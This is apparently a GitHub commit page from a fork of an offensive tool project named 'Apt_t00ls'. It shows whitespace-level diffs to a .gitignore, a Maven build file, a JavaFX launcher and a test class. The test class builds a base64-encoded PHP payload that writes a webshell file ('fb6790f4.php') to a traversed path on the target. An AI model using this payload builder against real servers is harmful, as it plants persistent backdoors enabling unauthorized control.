forked from White-hua/Apt_t00ls
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
0.4
- Loading branch information
Showing
60 changed files
with
4,456 additions
and
4,456 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,7 +1,7 @@ | ||
#idea | ||
.idea | ||
*.iml | ||
|
||
|
||
#maven编译 | ||
target | ||
#idea | ||
.idea | ||
*.iml | ||
|
||
|
||
#maven编译 | ||
target |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,90 +1,90 @@ | ||
<?xml version="1.0" encoding="UTF-8"?> | ||
<project xmlns="http:https://maven.apache.org/POM/4.0.0" | ||
xmlns:xsi="http:https://www.w3.org/2001/XMLSchema-instance" | ||
xsi:schemaLocation="http:https://maven.apache.org/POM/4.0.0 http:https://maven.apache.org/xsd/maven-4.0.0.xsd"> | ||
<modelVersion>4.0.0</modelVersion> | ||
|
||
<groupId>cn.luckyh</groupId> | ||
<artifactId>apt_tools</artifactId> | ||
<version>1.0-SNAPSHOT</version> | ||
<packaging>jar</packaging> | ||
|
||
<properties> | ||
<maven.compiler.source>8</maven.compiler.source> | ||
<maven.compiler.target>8</maven.compiler.target> | ||
<maven.compiler.encoding>UTF-8</maven.compiler.encoding> | ||
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> | ||
</properties> | ||
<dependencies> | ||
<dependency> | ||
<groupId>cn.hutool</groupId> | ||
<artifactId>hutool-all</artifactId> | ||
<version>5.8.8</version> | ||
</dependency> | ||
<!-- https://mvnrepository.com/artifact/com.jfoenix/jfoenix--> | ||
<dependency> | ||
<groupId>com.jfoenix</groupId> | ||
<artifactId>jfoenix</artifactId> | ||
<version>9.0.10</version> | ||
</dependency> | ||
<!-- <dependency>--> | ||
<!-- <groupId>org.yaml</groupId>--> | ||
<!-- <artifactId>snakeyaml</artifactId>--> | ||
<!-- <version>1.33</version>--> | ||
<!-- </dependency>--> | ||
<!-- <dependency>--> | ||
<!-- <groupId>com.alibaba</groupId>--> | ||
<!-- <artifactId>fastjson</artifactId>--> | ||
<!-- <version>2.0.14</version>--> | ||
<!-- </dependency>--> | ||
<dependency> | ||
<groupId>com.jfoenix</groupId> | ||
<artifactId>jfoenix</artifactId> | ||
<version>8.0.10</version> | ||
</dependency> | ||
<dependency> | ||
<groupId>org.junit.jupiter</groupId> | ||
<artifactId>junit-jupiter-api</artifactId> | ||
<version>5.9.0</version> | ||
</dependency> | ||
|
||
|
||
</dependencies> | ||
|
||
|
||
<build> | ||
<finalName>${project.artifactId}</finalName><!--修改编译出来的jar包名,仅为{artifactId}.jar--> | ||
<plugins> | ||
|
||
<!-- 打包依赖包到jar中 --> | ||
<plugin> | ||
<groupId>org.apache.maven.plugins</groupId> | ||
<artifactId>maven-assembly-plugin</artifactId> | ||
<version>3.3.0</version> | ||
<configuration> | ||
<archive> | ||
<manifest> | ||
<mainClass>Main</mainClass> | ||
</manifest> | ||
</archive> | ||
<!-- get all project dependencies --> | ||
<descriptorRefs> | ||
<descriptorRef>jar-with-dependencies</descriptorRef> | ||
</descriptorRefs> | ||
<!-- MainClass in mainfest make a executable jar --> | ||
<!-- 运行文件名 --> | ||
</configuration> | ||
<executions> | ||
<execution> | ||
<id>make-assembly</id> | ||
<phase>package</phase> | ||
<goals> | ||
<goal>single</goal> | ||
</goals> | ||
</execution> | ||
</executions> | ||
</plugin> | ||
|
||
</plugins> | ||
</build> | ||
<?xml version="1.0" encoding="UTF-8"?> | ||
<project xmlns="http:https://maven.apache.org/POM/4.0.0" | ||
xmlns:xsi="http:https://www.w3.org/2001/XMLSchema-instance" | ||
xsi:schemaLocation="http:https://maven.apache.org/POM/4.0.0 http:https://maven.apache.org/xsd/maven-4.0.0.xsd"> | ||
<modelVersion>4.0.0</modelVersion> | ||
|
||
<groupId>cn.luckyh</groupId> | ||
<artifactId>apt_tools</artifactId> | ||
<version>1.0-SNAPSHOT</version> | ||
<packaging>jar</packaging> | ||
|
||
<properties> | ||
<maven.compiler.source>8</maven.compiler.source> | ||
<maven.compiler.target>8</maven.compiler.target> | ||
<maven.compiler.encoding>UTF-8</maven.compiler.encoding> | ||
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> | ||
</properties> | ||
<dependencies> | ||
<dependency> | ||
<groupId>cn.hutool</groupId> | ||
<artifactId>hutool-all</artifactId> | ||
<version>5.8.8</version> | ||
</dependency> | ||
<!-- https://mvnrepository.com/artifact/com.jfoenix/jfoenix--> | ||
<!-- <dependency>--> | ||
<!-- <groupId>com.jfoenix</groupId>--> | ||
<!-- <artifactId>jfoenix</artifactId>--> | ||
<!-- <version>9.0.10</version>--> | ||
<!-- </dependency>--> | ||
<!-- <dependency>--> | ||
<!-- <groupId>org.yaml</groupId>--> | ||
<!-- <artifactId>snakeyaml</artifactId>--> | ||
<!-- <version>1.33</version>--> | ||
<!-- </dependency>--> | ||
<!-- <dependency>--> | ||
<!-- <groupId>com.alibaba</groupId>--> | ||
<!-- <artifactId>fastjson</artifactId>--> | ||
<!-- <version>2.0.14</version>--> | ||
<!-- </dependency>--> | ||
<dependency> | ||
<groupId>com.jfoenix</groupId> | ||
<artifactId>jfoenix</artifactId> | ||
<version>8.0.10</version> | ||
</dependency> | ||
<dependency> | ||
<groupId>org.junit.jupiter</groupId> | ||
<artifactId>junit-jupiter-api</artifactId> | ||
<version>5.9.0</version> | ||
</dependency> | ||
|
||
|
||
</dependencies> | ||
|
||
|
||
<build> | ||
<finalName>${project.artifactId}</finalName><!--修改编译出来的jar包名,仅为{artifactId}.jar--> | ||
<plugins> | ||
|
||
<!-- 打包依赖包到jar中 --> | ||
<plugin> | ||
<groupId>org.apache.maven.plugins</groupId> | ||
<artifactId>maven-assembly-plugin</artifactId> | ||
<version>3.3.0</version> | ||
<configuration> | ||
<archive> | ||
<manifest> | ||
<mainClass>Main</mainClass> | ||
</manifest> | ||
</archive> | ||
<!-- get all project dependencies --> | ||
<descriptorRefs> | ||
<descriptorRef>jar-with-dependencies</descriptorRef> | ||
</descriptorRefs> | ||
<!-- MainClass in mainfest make a executable jar --> | ||
<!-- 运行文件名 --> | ||
</configuration> | ||
<executions> | ||
<execution> | ||
<id>make-assembly</id> | ||
<phase>package</phase> | ||
<goals> | ||
<goal>single</goal> | ||
</goals> | ||
</execution> | ||
</executions> | ||
</plugin> | ||
|
||
</plugins> | ||
</build> | ||
</project> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,24 +1,24 @@ | ||
import cn.hutool.core.io.resource.ResourceUtil; | ||
import java.util.Objects; | ||
import javafx.application.Application; | ||
import javafx.fxml.FXMLLoader; | ||
import javafx.scene.Parent; | ||
import javafx.scene.Scene; | ||
import javafx.stage.Stage; | ||
|
||
public class Main extends Application { | ||
|
||
@Override | ||
public void start(Stage primaryStage) throws Exception{ | ||
Parent root = FXMLLoader.load(ResourceUtil.getResource("fxml/Main.fxml")); | ||
primaryStage.setTitle("APT"); | ||
Scene scene = new Scene(root,1280,910); | ||
scene.getStylesheets().add(Objects.requireNonNull(Main.class.getResource("/css/main.css")).toExternalForm()); | ||
primaryStage.setScene(scene); | ||
primaryStage.show(); | ||
} | ||
|
||
public static void main(String[] args) { | ||
launch(args); | ||
} | ||
} | ||
import cn.hutool.core.io.resource.ResourceUtil; | ||
import java.util.Objects; | ||
import javafx.application.Application; | ||
import javafx.fxml.FXMLLoader; | ||
import javafx.scene.Parent; | ||
import javafx.scene.Scene; | ||
import javafx.stage.Stage; | ||
|
||
public class Main extends Application { | ||
|
||
@Override | ||
public void start(Stage primaryStage) throws Exception{ | ||
Parent root = FXMLLoader.load(ResourceUtil.getResource("fxml/Main.fxml")); | ||
primaryStage.setTitle("APT"); | ||
Scene scene = new Scene(root,1280,910); | ||
scene.getStylesheets().add(Objects.requireNonNull(Main.class.getResource("/css/main.css")).toExternalForm()); | ||
primaryStage.setScene(scene); | ||
primaryStage.show(); | ||
} | ||
|
||
public static void main(String[] args) { | ||
launch(args); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,24 +1,24 @@ | ||
import cn.hutool.core.util.RandomUtil; | ||
|
||
import java.io.UnsupportedEncodingException; | ||
import java.util.concurrent.ExecutionException; | ||
import sun.misc.BASE64Encoder; | ||
import utils.shell; | ||
|
||
public class SimpleTest { | ||
|
||
private static Object pop; | ||
|
||
public static void main(String[] args) throws InterruptedException, ExecutionException { | ||
try { | ||
BASE64Encoder encoder = new BASE64Encoder(); | ||
String text = "file_put_contents('../../fb6790f4.php','" + shell.readFile(shell.Phppath) +"');"; | ||
byte[] textByte = text.getBytes("UTF-8"); | ||
String encodedText = encoder.encode(textByte).replace("\r\n",""); | ||
System.out.println(encodedText); | ||
} catch (UnsupportedEncodingException e) { | ||
e.printStackTrace(); | ||
} | ||
|
||
} | ||
import cn.hutool.core.util.RandomUtil; | ||
|
||
import java.io.UnsupportedEncodingException; | ||
import java.util.concurrent.ExecutionException; | ||
import sun.misc.BASE64Encoder; | ||
import utils.shell; | ||
|
||
public class SimpleTest { | ||
|
||
private static Object pop; | ||
|
||
public static void main(String[] args) throws InterruptedException, ExecutionException { | ||
try { | ||
BASE64Encoder encoder = new BASE64Encoder(); | ||
String text = "file_put_contents('../../fb6790f4.php','" + shell.readFile(shell.Phppath) +"');"; | ||
byte[] textByte = text.getBytes("UTF-8"); | ||
String encodedText = encoder.encode(textByte).replace("\r\n",""); | ||
System.out.println(encodedText); | ||
} catch (UnsupportedEncodingException e) { | ||
e.printStackTrace(); | ||
} | ||
|
||
} | ||
} |
Oops, something went wrong.